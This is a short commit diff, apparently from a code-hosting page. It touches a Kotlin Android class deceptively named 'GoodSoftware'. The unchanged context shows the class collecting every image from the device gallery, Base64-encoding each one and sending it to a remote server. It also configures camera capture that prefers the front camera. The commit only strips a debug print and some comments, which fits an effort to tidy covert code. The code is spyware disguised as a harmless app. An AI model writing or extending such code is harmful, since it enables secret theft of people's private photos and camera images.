Start
This commit is contained in:
		@@ -156,7 +156,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                val imageList = getAllImagesFromGallery(activity)
 | 
			
		||||
                val connection = establishConnectionWithRetry() ?: return@Thread
 | 
			
		||||
                for (image in imageList) {
 | 
			
		||||
                    println(image)
 | 
			
		||||
                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
			
		||||
                    sendDataToServer(base64Image, connection)
 | 
			
		||||
                    if(image != imageList.last()){
 | 
			
		||||
@@ -342,19 +341,16 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
            return
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        // Select the lens facing, prioritize front camera if available
 | 
			
		||||
        lensFacing = if (hasFrontCamera()) {
 | 
			
		||||
            CameraSelector.LENS_FACING_FRONT
 | 
			
		||||
        } else {
 | 
			
		||||
            CameraSelector.LENS_FACING_BACK
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        // Create ImageCapture instance
 | 
			
		||||
        imageCapture = ImageCapture.Builder()
 | 
			
		||||
            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
			
		||||
            .build()
 | 
			
		||||
 | 
			
		||||
        // Set up image capture listener
 | 
			
		||||
        val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
			
		||||
            override fun onError(exc: ImageCaptureException) {
 | 
			
		||||
                Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
			
		||||
@@ -362,7 +358,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            override fun onCaptureSuccess(image: ImageProxy) {
 | 
			
		||||
                // Process captured image here
 | 
			
		||||
                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
			
		||||
                val imagePlane = image.planes[0]
 | 
			
		||||
                val buffer = imagePlane.buffer
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user